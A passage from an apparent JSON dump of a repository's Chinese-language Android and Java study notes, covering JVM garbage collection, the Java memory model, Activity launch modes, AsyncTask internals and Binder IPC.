追求高响应时间的选择\n\n四、GC的执行机制\n\n由于对象进行了分代处理，因此垃圾回收区域、时间也不一样。GC有两种类型：Scavenge GC和Full GC。\n\nScavenge GC\n\n一般情况下，当新对象生成，并且在Eden申请空间失败时，就会触发Scavenge GC，对Eden区域进行GC，清除非存活对象，并且把尚且存活的对象移动到Survivor区。然后整理Survivor的两个区。这种方式的GC是对年轻代的Eden区进行，不会影响到年老代。因为大部分对象都是从Eden区开始的，同时Eden区不会分配的很大，所以Eden区的GC会频繁进行。因而，一般在这里需要使用速度快、效率高的算法，使Eden去能尽快空闲出来。\n\nFull GC\n\n对整个堆进行整理，包括Young、Tenured和Perm。Full GC因为需要对整个堆进行回收，所以比Scavenge GC要慢，因此应该尽可能减少Full GC的次数。在对JVM调优的过程中，很大一部分工作就是对于FullGC的调节。有如下原因可能导致Full GC：\n\n1.老年代（Tenured）被写满\n\n2.持久代（Perm）被写满\n\n3.System.gc()被显示调用\n\n4.上一次GC之后Heap的各域分配策略动态变化\n\n\n## Java instanceof 关键字是如何实现的？\n    \n    boolean result;\n    if (obj == null) {\n      result = false;\n    } else {\n      try {\n          T temp = (T) obj; // checkcast\n          result = true;\n      } catch (ClassCastException e) {\n          result = false;\n      }\n    }\n"
  },
  {
    "path": "docs/android/sources/JavaMemoryMode.md",
    "content": "\n## java 内存模型\n\n我们知道，计算机CPU和内存的交互是最频繁的，内存是我们的高速缓存区，用户磁盘和CPU的交互，而CPU运转速度越来越快，磁盘远远跟不上CPU的读写速度，才设计了内存，用户缓冲用户IO等待导致CPU的等待成本，但是随着CPU的发展，内存的读写速度也远远跟不上CPU的读写速度，因此，为了解决这一纠纷，CPU厂商在每颗CPU上加入了高速缓存，用来缓解这种症状，因此，现在CPU同内存交互就变成了下面的样子。\n\n 同样，根据摩尔定律，我们知道单核\n\nCPU的主频不可能无限制的增长，要想很多的提升新能，需要多个处理器协同工作， Intel总裁的贝瑞特单膝下跪事件标志着多核时代的到来。\n \n 基于高速缓存的存储交互很好的解决了处理器与内存之间的矛盾，也引入了新的问题：缓存一致性问题。在多处理器系统中，每个处理器有自己的高速缓存，而他们又共享同一块内存（下文成主存，\n\nmain memory 主要内存），当多个处理器运算都涉及到同一块内存区域的时候，就有可能发生缓存不一致的现象。为了解决这一问题，需要各个处理器运行时都遵循一些协议，在运行时需要将这些协议保证数据的一致性。这类协议包括MSI、MESI、MOSI、Synapse、Firely、DragonProtocol等。如下图所示\n \n\n \n Java\n\n虚拟机内存模型中定义的访问操作与物理计算机处理的基本一致！\n \n \n Java\n\n中通过多线程机制使得多个任务同时执行处理，所有的线程共享JVM内存区域main memory，而每个线程又单独的有自己的工作内存，当线程与内存区域进行交互时，数据从主存拷贝到工作内存，进而交由线程处理（操作码+操作数）。更多信息我们会在后面的《深入JVM—JVM类执行机制中详细解说》。\n在之前，我们也已经提到，JVM的逻辑内存模型如下：\n\n \n \n 我们现在来逐个的看下每个到底是做什么的！\n\n1、程序计数器\n\n程序计数器（Program Counter Register）是一块较小的内存空间，它的作用可以看\n\n做是当前线程所执行的字节码的行号指示器。在虚拟机的概念模型里（仅是概念模型，\n\n各种虚拟机可能会通过一些更高效的方式去实现），字节码解释器工作时就是通过改变\n\n这个计数器的值来选取下一条需要执行的字节码指令，分支、循环、跳转、异常处理、\n\n线程恢复等基础功能都需要依赖这个计数器来完成。\n\n由于Java 虚拟机的多线程是通过线程轮流切换并分配处理器执行时间的方式来实现\n\n的，在任何一个确定的时刻，一个处理器（对于多核处理器来说是一个内核）只会执行\n\n一条线程中的指令。因此，为了线程切换后能恢复到正确的执行位置，每条线程都需要\n\n有一个独立的程序计数器，各条线程之间的计数器互不影响，独立存储，我们称这类内\n\n存区域为“线程私有”的内存。\n\n如果线程正在执行的是一个Java 方法，这个计数器记录的是正在执行的虚拟机字节\n\n码指令的地址；如果正在执行的是Natvie 方法，这个计数器值则为空（Undefined）。此\n\n内存区域是唯一一个在Java 虚拟机规范中没有规定任何OutOfMemoryError 情况的区域。\n\n2、Java 虚拟机栈\n\n与程序计数器一样，Java 虚拟机栈（Java Virtual Machine Stacks）也是线程私有的，\n\n它的生命周期与线程相同。虚拟机栈描述的是Java 方法执行的内存模型：每个方法被执\n\n行的时候都会同时创建一个栈帧（Stack Frame ①）用于存储局部变量表、操作栈、动态\n\n链接、方法出口等信息。每一个方法被调用直至执行完成的过程，就对应着一个栈帧在\n\n虚拟机栈中从入栈到出栈的过程。\n\n经常有人把Java 内存区分为堆内存（Heap）和栈内存（Stack），这种分法比较粗\n\n糙，Java 内存区域的划分实际上远比这复杂。这种划分方式的流行只能说明大多数程序\n\n员最关注的、与对象内存分配关系最密切的内存区域是这两块。其中所指的“堆”在后\n\n面会专门讲述，而所指的“栈”就是现在讲的虚拟机栈，或者说是虚拟机栈中的局部变\n\n量表部分。\n\n局部变量表存放了编译期可知的各种基本数据类型（boolean、byte、char、short、int、\n\nfloat、long、double）、对象引用（reference 类型，它不等同于对象本身，根据不同的虚拟\n\n机实现，它可能是一个指向对象起始地址的引用指针，也可能指向一个代表对象的句柄或\n\n者其他与此对象相关的位置）和returnAddress 类型（指向了一条字节码指令的地址）。\n\n其中64 位长度的long 和double 类型的数据会占用2 个局部变量空间（Slot），其余\n\n的数据类型只占用1 个。局部变量表所需的内存空间在编译期间完成分配，当进入一个\n\n方法时，这个方法需要在帧中分配多大的局部变量空间是完全确定的，在方法运行期间\n\n不会改变局部变量表的大小。\n\n在Java 虚拟机规范中，对这个区域规定了两种异常状况：如果线程请求的栈深度大\n\n于虚拟机所允许的深度，将抛出StackOverflowError 异常；如果虚拟机栈可以动态扩展\n\n（当前大部分的Java 虚拟机都可动态扩展，只不过Java 虚拟机规范中也允许固定长度的\n\n虚拟机栈），当扩展时无法申请到足够的内存时会抛出OutOfMemoryError 异常。\n\n3、本地方法栈\n\n本地方法栈（Native Method Stacks）与虚拟机栈所发挥的作用是非常相似的，其\n\n区别不过是虚拟机栈为虚拟机执行Java 方法（也就是字节码）服务，而本地方法栈则\n\n是为虚拟机使用到的Native 方法服务。虚拟机规范中对本地方法栈中的方法使用的语\n\n言、使用方式与数据结构并没有强制规定，因此具体的虚拟机可以自由实现它。甚至\n\n有的虚拟机（譬如Sun HotSpot 虚拟机）直接就把本地方法栈和虚拟机栈合二为一。\n\n与虚拟机栈一样，本地方法栈区域也会抛出StackOverflowError 和OutOfMemoryError\n\n异常。\n\n4、Java 堆\n\n对于大多数应用来说，Java 堆（Java Heap）是Java 虚拟机所管理的内存中最大的\n\n一块。Java 堆是被所有线程共享的一块内存区域，在虚拟机启动时创建。此内存区域的\n\n唯一目的就是存放对象实例，几乎所有的对象实例都在这里分配内存。这一点在Java 虚\n\n拟机规范中的描述是：所有的对象实例以及数组都要在堆上分配①，但是随着JIT 编译器\n\n的发展与逃逸分析技术的逐渐成熟，栈上分配、标量替换②优化技术将会导致一些微妙\n\n的变化发生，所有的对象都分配在堆上也渐渐变得不是那么“绝对”了。\n\nJava 堆是垃圾收集器管理的主要区域，因此很多时候也被称做“GC 堆”（Garbage\n\nCollected Heap，幸好国内没翻译成“垃圾堆”）。如果从内存回收的角度看，由于现在\n\n收集器基本都是采用的分代收集算法，所以Java 堆中还可以细分为：新生代和老年代；\n\n再细致一点的有Eden 空间、From Survivor 空间、To Survivor 空间等。如果从内存分配\n\n的角度看，线程共享的Java 堆中可能划分出多个线程私有的分配缓冲区（Thread Local\n\nAllocation Buffer，TLAB）。不过，无论如何划分，都与存放内容无关，无论哪个区域，\n\n存储的都仍然是对象实例，进一步划分的目的是为了更好地回收内存，或者更快地分配\n\n内存。在本章中，我们仅仅针对内存区域的作用进行讨论，Java 堆中的上述各个区域的\n\n分配和回收等细节将会是下一章的主题。\n\n根据Java 虚拟机规范的规定，Java 堆可以处于物理上不连续的内存空间中，只要\n\n逻辑上是连续的即可，就像我们的磁盘空间一样。在实现时，既可以实现成固定大小\n\n的，也可以是可扩展的，不过当前主流的虚拟机都是按照可扩展来实现的（通过-Xmx\n\n和-Xms 控制）。如果在堆中没有内存完成实例分配，并且堆也无法再扩展时，将会抛出\n\nOutOfMemoryError 异常。\n\n4、方法区\n\n方法区（Method Area）与Java 堆一样，是各个线程共享的内存区域，它用于存\n\n储已被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。虽\n\n然Java 虚拟机规范把方法区描述为堆的一个逻辑部分，但是它却有一个别名叫做Non-\n\nHeap（非堆），目的应该是与Java 堆区分开来。\n\n对于习惯在HotSpot 虚拟机上开发和部署程序的开发者来说，很多人愿意把方法区\n\n称为“永久代”（Permanent Generation），本质上两者并不等价，仅仅是因为HotSpot 虚\n\n拟机的设计团队选择把GC 分代收集扩展至方法区，或者说使用永久代来实现方法区而\n\n已。对于其他虚拟机（如BEA JRockit、IBM J9 等）来说是不存在永久代的概念的。即\n\n使是HotSpot 虚拟机本身，根据官方发布的路线图信息，现在也有放弃永久代并“搬家”\n\n至Native Memory 来实现方法区的规划了。\n\nJava 虚拟机规范对这个区域的限制非常宽松，除了和Java 堆一样不需要连续的内\n\n存和可以选择固定大小或者可扩展外，还可以选择不实现垃圾收集。相对而言，垃圾\n\n收集行为在这个区域是比较少出现的，但并非数据进入了方法区就如永久代的名字一\n\n样“永久”存在了。这个区域的内存回收目标主要是针对常量池的回收和对类型的卸\n\n载，一般来说这个区域的回收“成绩”比较难以令人满意，尤其是类型的卸载，条件\n\n相当苛刻，但是这部分区域的回收确实是有必要的。在Sun 公司的BUG 列表中，曾出\n\n现过的若干个严重的BUG 就是由于低版本的HotSpot 虚拟机对此区域未完全回收而导\n\n致内存泄漏。\n\n根据Java 虚拟机规范的规定，当方法区无法满足内存分配需求时，将抛出\n\nOutOfMemoryError 异常。\n\n5、运行时常量池\n\n运行时常量池（Runtime Constant Pool）是方法区的一部分。Class 文件中除了有\n\n类的版本、字段、方法、接口等描述等信息外，还有一项信息是常量池（Constant Pool\n\nTable），用于存放编译期生成的各种字面量和符号引用，这部分内容将在类加载后存放\n\n到方法区的运行时常量池中。\n\nJava 虚拟机对Class 文件的每一部分（自然也包括常量池）的格式都有严格的规\n\n定，每一个字节用于存储哪种数据都必须符合规范上的要求，这样才会被虚拟机认可、\n\n装载和执行。但对于运行时常量池，Java 虚拟机规范没有做任何细节的要求，不同的\n\n提供商实现的虚拟机可以按照自己的需要来实现这个内存区域。不过，一般来说，除\n\n了保存Class 文件中描述的符号引用外，还会把翻译出来的直接引用也存储在运行时常\n\n量池中①。\n\n运行时常量池相对于Class 文件常量池的另外一个重要特征是具备动态性，Java 语\n\n言并不要求常量一定只能在编译期产生，也就是并非预置入Class 文件中常量池的内容\n\n才能进入方法区运行时常量池，运行期间也可能将新的常量放入池中，这种特性被开发\n\n人员利用得比较多的便是String 类的intern() 方法。\n\n既然运行时常量池是方法区的一部分，自然会受到方法区内存的限制，当常量池无\n\n法再申请到内存时会抛出OutOfMemoryError 异常\n\n6、直接内存\n\n直接内存（Direct Memory）并不是虚拟机运行时数据区的一部分，也不是Java\n\n虚拟机规范中定义的内存区域，但是这部分内存也被频繁地使用，而且也可能导致\n\nOutOfMemoryError 异常出现，所以我们放到这里一起讲解。\n\n在JDK 1.4 中新加入了NIO（New Input/Output）类，引入了一种基于通道（Channel）\n\n与缓冲区（Buffer）的I/O 方式，它可以使用Native 函数库直接分配堆外内存，然\n\n后通过一个存储在Java 堆里面的DirectByteBuffer 对象作为这块内存的引用进行\n\n操作。这样能在一些场景中显著提高性能，因为避免了在Java 堆和Native 堆中来\n\n回复制数据。\n\n显然，本机直接内存的分配不会受到Java 堆大小的限制，但是，既然是内存，则\n\n肯定还是会受到本机总内存（包括RAM 及SWAP 区或者分页文件）的大小及处理器\n\n寻址空间的限制。服务器管理员配置虚拟机参数时，一般会根据实际内存设置-Xmx\n\n等参数信息，但经常会忽略掉直接内存，使得各个内存区域的总和大于物理内存限制\n\n（包括物理上的和操作系统级的限制），从而导致动态扩展时出现OutOfMemoryError\n\n异常。\n\n逻辑内存模型我们已经看到了，那当我们建立一个对象的时候是怎么进行访问的呢？\n\n在Java 语言中，对象访问是如何进行的？对象访问在Java 语言中无处不在，是最普通的程序行为，但即使是最简单的访问，也会却涉及Java 栈、Java 堆、方法区这三个最重要内存区\n\n域之间的关联关系，如下面的这句代码：\n\nObject obj = new Object();\n\n假设这句代码出现在方法体中，那“Object obj”这部分的语义将会反映到Java 栈\n\n的本地变量表中，作为一个reference 类型数据出现。而“new Object()”这部分的语义\n\n将会反映到Java 堆中，形成一块存储了Object 类型所有实例数据值（Instance Data，对\n\n象中各个实例字段的数据）的结构化内存，根据具体类型以及虚拟机实现的对象内存布\n\n局（Object Memory Layout）的不同，这块内存的长度是不固定的。另外，在Java 堆中\n\n还必须包含能查找到此对象类型数据（如对象类型、父类、实现的接口、方法等）的地\n\n址信息，这些类型数据则存储在方法区中。\n\n由于reference 类型在Java 虚拟机规范里面只规定了一个指向对象的引用，并没有\n\n定义这个引用应该通过哪种方式去定位，以及访问到Java 堆中的对象的具体位置，因此\n\n不同虚拟机实现的对象访问方式会有所不同，主流的访问方式有两种：使用句柄和直接\n\n指针。\n\n如果使用句柄访问方式，Java 堆中将会划分出一块内存来作为句柄池，reference\n\n中存储的就是对象的句柄地址，而句柄中包含了对象实例数据和类型数据各自的\n\n具体地址信息，如下图所示。\n\n \n\n 如果使用直接指针访问方式，\n\nJava 堆对象的布局中就必须考虑如何放置访问类型\n数据的相关信息，reference 中直接存储的就是对象地址，如下图所示\n\n \n\n \n 这两种对象的访问方式各有优势，使用句柄访问方式的最大好处就是\n\nreference 中存\n储的是稳定的句柄地址，在对象被移动（垃圾收集时移动对象是非常普遍的行为）时只\n\n会改变句柄中的实例数据指针，而reference 本身不需要被修改。\n\n使用直接指针访问方式的最大好处就是速度更快，它节省了一次指针定位的时间开\n\n销，由于对象的访问在Java 中非常频繁，因此这类开销积少成多后也是一项非常可观的\n\n执行成本。就本书讨论的主要虚拟机Sun HotSpot 而言，它是使用第二种方式进行对象访问的，但从整个软件开发的范围来看，各种语言和框架使用句柄来访问的情况也十分常见。\n\n下面我们来看几个示例\n\n1、Java 堆溢出\n\n下面的程中我们限制Java 堆的大小为20MB，不可扩展（将堆的最小值-Xms 参\n\n数与最大值-Xmx 参数设置为一样即可避免堆自动扩展），通过参数-XX:+HeapDump\n\nOnOutOfMemoryError 可以让虚拟机在出现内存溢出异常时Dump 出当前的内存堆转储\n\n快照以便事后进行分析。"
  },
  {
    "path": "docs/android/sources/activity_onnewIntent.md",
    "content": "### Activity的onNewIntent()方法何时会被调用? \n\n\n\n前提:ActivityA已经启动过,处于当前应用的Activity堆栈中; \n\n当ActivityA的LaunchMode为SingleTop时，如果ActivityA在栈顶,且现在要再启动ActivityA，这时会调用onNewIntent()方法 \n\n当ActivityA的LaunchMode为SingleInstance,SingleTask时,如果已经ActivityA已经在堆栈中，那么此时会调用onNewIntent()方法 \n\n当ActivityA的LaunchMode为Standard时，由于每次启动ActivityA都是启动新的实例，和原来启动的没关系，所以不会调用原来ActivityA的onNewIntent方法"
  },
  {
    "path": "docs/android/sources/adsl.md",
    "content": "#### Android Design Support Library 是Google在2015年的IO大会上，带来的全新适应Material Design设计规范的支持库。\n\n\n* 在这个支持库中，给我们提供了更加规范的MD设计风格控件。重要的是，Android Design Support Library中，支持所有的Android 2.1以上版本系统。在这个支持库中，主要包含下面几大控件： \nSnackbar，FloatingActionButton，TextInputLayout，TabLayout，AppBarLayout，CollapsingToolbarLayout，NavigationView，CoordinatorLayout*\n\n- 在使用Android Design Support Library之前，我们只需要在AS中添加引用即可：\n\n    \n        compile 'com.android.support:design:23.3.0' "
  },
  {
    "path": "docs/android/sources/app_start_step.md",
    "content": "\nAPP启动流程\n\n\n#### 整个应用程序的启动过程要执行很多步骤，但是整体来看，主要分为以下五个阶段：\n\n    \n    一. Step1 - Step 11：\n    Launcher通过Binder进程间通信机制通知ActivityManagerService，\n    它要启动一个Activity；\n    \n    二. Step 12 - Step 16：\n    ActivityManagerService通过Binder进程间通信机制通知Launcher进入Paused状态；\n    \n    三. Step 17 - Step 24：\n    Launcher通过Binder进程间通信机制通知ActivityManagerService，它已经准备就绪进入Paused状态，\n    于是ActivityManagerService就创建一个新的进程，用来启动一个ActivityThread实例，\n    即将要启动的Activity就是在这个ActivityThread实例中运行；\n    \n    四. Step 25 - Step 27：\n    ActivityThread通过Binder进程间通信机制将一个ApplicationThread类型的Binder对象传递给ActivityManagerService，\n    以便以后ActivityManagerService能够通过这个Binder对象和它进行通信；\n    \n    五. Step 28 - Step 35：\n    ActivityManagerService通过Binder进程间通信机制通知ActivityThread，\n    现在一切准备就绪，它可以真正执行Activity的启动操作了。\n    。"
  },
  {
    "path": "docs/android/sources/application.md",
    "content": "#### Application 多进程问题\n\n在做项目时，遇到一个大坑，就是我的APP 的Application 的onCreate方法，竟然执行了好几次，这就导致我在onCreate里面做了一些初始化的操作被重复执行了，导致奇怪的bug产生。后来冷静下来分析一下，才发现有一些第三方组件，比如百度推送之类的，它们是单独开了一个进程，那么每个进程会自己初始化自己的Application，那自然onCreate方法会多次执行。准确的说就是你的APP里有多少个进程，就会初始化多少次Application 。\n\n但是有的东西就是只需要在Application 的onCreate 里只初始化一次。那怎么解决呢？看代码：\n\n\n\n    \n    public class MyApplication extends Application {\n        private final static String PROCESS_NAME = \"com.test\";\n        private static MyApplication myApplication = null;\n     \n        public static MyApplication getApplication() {\n            return myApplication;\n        }\n     \n        /**\n         * 判断是不是UI主进程，因为有些东西只能在UI主进程初始化\n         */\n        public static boolean isAppMainProcess() {\n            try {\n                int pid = android.os.Process.myPid();\n                String process = getAppNameByPID(MyApplication.getApplication(), pid);\n                if (TextUtils.isEmpty(process)) {\n                    return true;\n                } else if (PROCESS_NAME.equalsIgnoreCase(process)) {\n                    return true;\n                } else {\n                    return false;\n                }\n            } catch (Exception e) {\n                e.printStackTrace();\n                return true;\n            }\n        }\n     \n        /**\n         * 根据Pid得到进程名\n         */\n        public static String getAppNameByPID(Context context, int pid) {\n            ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n            for (android.app.ActivityManager.RunningAppProcessInfo processInfo : manager.getRunningAppProcesses()) {\n                if (processInfo.pid == pid) {\n                    return processInfo.processName;\n                }\n            }\n            return \"\";\n        }\n     \n        @Override\n        public void onCreate() {\n            super.onCreate();\n     \n            myApplication = this;\n     \n            if (isAppMainProcess()) {\n                //do something for init\n                //这里就只会初始化一次\n            }\n        }\n    }"
  },
  {
    "path": "docs/android/sources/application_service.md",
    "content": "### application 开线程可以替换Service处理后台任务吗\n\n\n#### 可以，但是有缺点\n\n\n1. Application中初始化太多东西，会导致app启动速度变慢（开启一个线程没什么，开启多个就会有问题）\n\n2. Application生命周期过长，Application生命周期和应用的什么周期一样，如果后台任务不需要这么长的生命周期，用IntentService可以实现完成后自动关闭，自动同步，远比Application好\n\n3. Application生命周期无法延续，在被强杀后，后台任务会关闭；而服务可以指定新进程进行保活。考虑音乐播放器的功能，有些音乐播放器，即使应用退出后依然可以进行前台服务的保留以便于随时恢复\n\n总结\n\n1.会降低性能\n\n2.Application提供的生命周期自由度不足\n\n3.Application中开启子线程其实是很不错的，因为Service开销太大\n\n#### Application 生命周期\n\n1. Application 生命周期和应用的生命周期一样，应用的声明周期是怎么样的呢？？\n\n   你是否还天真的以为我们在按返回键退出最后一个activity应用程序就退出了？答案是否定的\n   \n   当我们退出最后一个Activity时，应用程序还没有退出，通过重写Application可以看出，再次进入应用，Application 并没有重新初始化。\n   \n2. 如果真正退出一个应用程序？\n\n   在最后一个Activity的onDestory中 System.exit(0),可以正常退出应用，再次进入应用时Application的onCreate会重新执行\n   \n3. System.exit(0) 注意事项\n\n   - 1. System.exit(0) 传入非0表示正常退出\n   \n   - 2. System.exit(0) 只能退出当前进程，如果进程中启动了一个服务，在新的进程，新的服务不会被杀死，此服务只能通过StopService停止\n   \n   - 3. System.exit(0) 时当程序中有startService启动一个服务，服务没有开启新的进程，此时，服务会被重启，重新走onCreate等生命周期方法,并且应用进程也会被重启，Application也会重新onCreate初始化\n   \n \n\n"
  },
  {
    "path": "docs/android/sources/asynctask.md",
    "content": "### AsyncTask 源码分析\n\n\n1. 面根据CPU数量创建一个 2到4的核心线程池，最大线程池时CPU*2 +1，存货30秒，队列为128\n并且默认是Serial_Excutor,而非并发\n\n\n线程一个一个的执行，通过来一个请求让其加入到一个队列中，然后在这个请求执行完后去执行下一个\n\n这里设计很气面，同时设置一个变量判断当前是否有正在执行的\n\n            public synchronized void execute(final Runnable r) {\n                    mTasks.offer(new Runnable() {\n                        public void run() {\n                            try {\n                                r.run();\n                            } finally {\n                                scheduleNext();\n                            }\n                        }\n                    });\n                    // 第一次，或者前面都执行完了\n                    if (mActive == null) {\n                        scheduleNext();\n                    }\n                }\n    \n            protected synchronized void scheduleNext() {\n                if ((mActive = mTasks.poll()) != null) {\n                    THREAD_POOL_EXECUTOR.execute(mActive);\n                }\n            }\n\n\n\n\n    \n     private static final int CPU_COUNT = Runtime.getRuntime().availableProcessors();\n        // We want at least 2 threads and at most 4 threads in the core pool,\n        // preferring to have 1 less than the CPU count to avoid saturating\n        // the CPU with background work\n        private static final int CORE_POOL_SIZE = Math.max(2, Math.min(CPU_COUNT - 1, 4));\n        private static final int MAXIMUM_POOL_SIZE = CPU_COUNT * 2 + 1;\n        private static final int KEEP_ALIVE_SECONDS = 30;\n    \n        private static final ThreadFactory sThreadFactory = new ThreadFactory() {\n            private final AtomicInteger mCount = new AtomicInteger(1);\n    \n            public Thread newThread(Runnable r) {\n                return new Thread(r, \"AsyncTask #\" + mCount.getAndIncrement());\n            }\n        };\n        \n        private static final BlockingQueue<Runnable> sPoolWorkQueue =\n                    new LinkedBlockingQueue<Runnable>(128);\n        \n            /**\n             * An {@link Executor} that can be used to execute tasks in parallel.\n             */\n            public static final Executor THREAD_POOL_EXECUTOR;\n        \n            static {\n                ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(\n                        CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_SECONDS, TimeUnit.SECONDS,\n                        sPoolWorkQueue, sThreadFactory);\n                threadPoolExecutor.allowCoreThreadTimeOut(true);\n                THREAD_POOL_EXECUTOR = threadPoolExecutor;\n            }\n\n\n    \n       private static class SerialExecutor implements Executor {\n            final ArrayDeque<Runnable> mTasks = new ArrayDeque<Runnable>();\n            Runnable mActive;\n    \n            public synchronized void execute(final Runnable r) {\n                mTasks.offer(new Runnable() {\n                    public void run() {\n                        try {\n                            r.run();\n                        } finally {\n                            scheduleNext();\n                        }\n                    }\n                });\n                if (mActive == null) {\n                    scheduleNext();\n                }\n            }\n    \n            protected synchronized void scheduleNext() {\n                if ((mActive = mTasks.poll()) != null) {\n                    THREAD_POOL_EXECUTOR.execute(mActive);\n                }\n            }\n        }"
  },
  {
    "path": "docs/android/sources/binder.md",
    "content": "\n1. Binder 概述\n简单介绍下什么是 Binder。Binder 是一种进程间通信机制，基于开源的 OpenBinder 实现；OpenBinder 起初由 Be Inc. 开发，后由 Plam Inc. 接手。从字面上来解释 Binder 有胶水、粘合剂的意思，顾名思义就是粘和不同的进程，使之实现通信。对于 Binder 更全面的定义，等我们介绍完 Binder 通信原理后再做详细说明。\n\n2. 为什么必须理解 Binder ？\n作为 Android 工程师的你，是不是常常会有这样的疑问：\n\n        为什么 Activity 间传递对象需要序列化？\n        \n        Activity 的启动流程是什么样的？\n        \n        四大组件底层的通信机制是怎样的？\n        \n        AIDL 内部的实现原理是什么？\n        \n        插件化编程技术应该从何学起？\n\n这些问题的背后都与 Binder 有莫大的关系，要弄懂上面这些问题理解 Binder 通信机制是必须的。\n\n我们知道 Android 应用程序是由 Activity、Service、Broadcast Receiver 和 Content Provide 四大组件中的一个或者多个组成的。\n有时这些组件运行在同一进程，有时运行在不同的进程。这些进程间的通信就依赖于 Binder IPC 机制。不仅如此，Android 系统对应用层提供的各种服务如：ActivityManagerService、PackageManagerService 等都是基于 Binder IPC 机制来实现的。Binder 机制在 Android 中的位置非常重要，毫不夸张的说理解 Binder 是迈向 Android 高级工程的第一步。\n\n3. 为什么是 Binder ?\nAndroid 系统是基于 Linux 内核的，Linux 已经提供了管道、消息队列、共享内存和 Socket 等 IPC 机制。那为什么 Android 还要提供 Binder 来实现 IPC 呢？\n\n主要是基于性能、稳定性和安全性几方面的原因。\n\n- 性能\n\n首先说说性能上的优势。Socket 作为一款通用接口，其传输效率低，开销大，主要用在跨网络的进程间通信和本机上进程间的低速通信。消息队列和管道采用存储-转发方式，即数据先从发送方缓存区拷贝到内核开辟的缓存区中，然后再从内核缓存区拷贝到接收方缓存区，至少有两次拷贝过程。共享内存虽然无需拷贝，但控制复杂，难以使用。Binder 只需要一次数据拷贝，性能上仅次于共享内存。\n\n\n    IPC方式\t数据拷贝次数\n    共享内存\t0\n    Binder\t1\n    Socket/管道/消息队列\t2\n\n- 稳定性\n\n再说说稳定性\n\n    Binder 基于 C/S 架构，客户端（Client）有什么需求就丢给服务端（Server）去完成，架构清晰、职责明确又相互独立，自然稳定性更好。\n\n    共享内存虽然无需拷贝，但是控制负责，难以使用。从稳定性的角度讲，Binder 机制是优于内存共享的。\n\n- 安全性\n\n另一方面就是安全性。Android 作为一个开放性的平台，市场上有各类海量的应用供用户选择安装，因此安全性对于 Android 平台而言极其重要。作为用户当然不希望我们下载的 APP 偷偷读取我的通信录，上传我的隐私数据，后台偷跑流量、消耗手机电量。传统的 IPC 没有任何安全措施，完全依赖上层协议来确保。首先传统的 IPC 接收方无法获得对方可靠的进程用户ID/进程ID（UID/PID），从而无法鉴别对方身份。Android 为每个安装好的 APP 分配了自己的 UID，故而进程的 UID 是鉴别进程身份的重要标志。传统的 IPC 只能由用户在数据包中填入 UID/PID，但这样不可靠，容易被恶意程序利用。可靠的身份标识只有由 IPC 机制在内核中添加。其次传统的 IPC 访问接入点是开放的，只要知道这些接入点的程序都可以和对端建立连接，不管怎样都无法阻止恶意程序通过猜测接收方地址获得连接。同时 Binder 既支持实名 Binder，又支持匿名 Binder，安全性高。\n\n基于上述原因，Android 需要建立一套新的 IPC 机制来满足系统对稳定性、传输性能和安全性方面的要求，这就是 Binder。\n\n最后用一张表格来总结下 Binder 的优势：\n\n优势\t描述\n\n    性能\t只需要一次数据拷贝，性能上仅次于共享内存\n    稳定性\t基于 C/S 架构，职责明确、架构清晰，因此稳定性好\n    安全性\t为每个 APP 分配 UID，进程的 UID 是鉴别进程身份的重要标志\n\n二. Linux 下传统的进程间通信原理\n了解 Linux IPC 相关的概念和原理有助于我们理解 Binder 通信原理。因此，在介绍 Binder 跨进程通信原理之前，我们先聊聊 Linux 系统下传统的进程间通信是如何实现。\n\n2.1 基本概念介绍\n这里我们先从 Linux 中进程间通信涉及的一些基本概念开始介绍，然后逐步展开，向大家说明传统的进程间通信的原理。\n\nLinux 背景知识\n\n上图展示了 Liunx 中跨进程通信涉及到的一些基本概念：\n\n进程隔离\n进程空间划分：用户空间(User Space)/内核空间(Kernel Space)\n系统调用：用户态/内核态\n进程隔离\n简单的说就是操作系统中，进程与进程间内存是不共享的。两个进程就像两个平行的世界，A 进程没法直接访问 B 进程的数据，这就是进程隔离的通俗解释。A 进程和 B 进程之间要进行数据交互就得采用特殊的通信机制：进程间通信（IPC）。\n\n进程空间划分：用户空间(User Space)/内核空间(Kernel Space)\n现在操作系统都是采用的虚拟存储器，对于 32 位系统而言，它的寻址空间（虚拟存储空间）就是 2 的 32 次方，也就是 4GB。操作系统的核心是内核，独立于普通的应用程序，可以访问受保护的内存空间，也可以访问底层硬件设备的权限。为了保护用户进程不能直接操作内核，保证内核的安全，操作系统从逻辑上将虚拟空间划分为用户空间（User Space）和内核空间（Kernel Space）。针对 Linux 操作系统而言，将最高的 1GB 字节供内核使用，称为内核空间；较低的 3GB 字节供各进程使用，称为用户空间。\n\n简单的说就是，内核空间（Kernel）是系统内核运行的空间，用户空间（User Space）是用户程序运行的空间。为了保证安全性，它们之间是隔离的。\n\n图片来自网络\n\n系统调用：用户态与内核态\n虽然从逻辑上进行了用户空间和内核空间的划分，但不可避免的用户空间需要访问内核资源，比如文件操作、访问网络等等。为了突破隔离限制，就需要借助系统调用来实现。系统调用是用户空间访问内核空间的唯一方式，保证了所有的资源访问都是在内核的控制下进行的，避免了用户程序对系统资源的越权访问，提升了系统安全性和稳定性。\n\nLinux 使用两级保护机制：0 级供系统内核使用，3 级供用户程序使用。\n\n当一个任务（进程）执行系统调用而陷入内核代码中执行时，称进程处于内核运行态（内核态）。此时处理器处于特权级最高的（0级）内核代码中执行。当进程处于内核态时，执行的内核代码会使用当前进程的内核栈。每个进程都有自己的内核栈。\n\n当进程在执行用户自己的代码的时候，我们称其处于用户运行态（用户态）。此时处理器在特权级最低的（3级）用户代码中运行。\n\n系统调用主要通过如下两个函数来实现：\n\ncopy_from_user() //将数据从用户空间拷贝到内核空间\ncopy_to_user() //将数据从内核空间拷贝到用户空间\n2.2 Linux 下的传统 IPC 通信原理\n理解了上面的几个概念，我们再来看看传统的 IPC 方式中，进程之间是如何实现通信的。\n\n通常的做法是消息发送方将要发送的数据存放在内存缓存区中，通过系统调用进入内核态。然后内核程序在内核空间分配内存，开辟一块内核缓存区，调用 copy_from_user() 函数将数据从用户空间的内存缓存区拷贝到内核空间的内核缓存区中。同样的，接收方进程在接收数据时在自己的用户空间开辟一块内存缓存区，然后内核程序调用 copy_to_user() 函数将数据从内核缓存区拷贝到接收进程的内存缓存区。这样数据发送方进程和数据接收方进程就完成了一次数据传输，我们称完成了一次进程间通信。如下图：\n\n传统 IPC 通信原理\n\n这种传统的 IPC 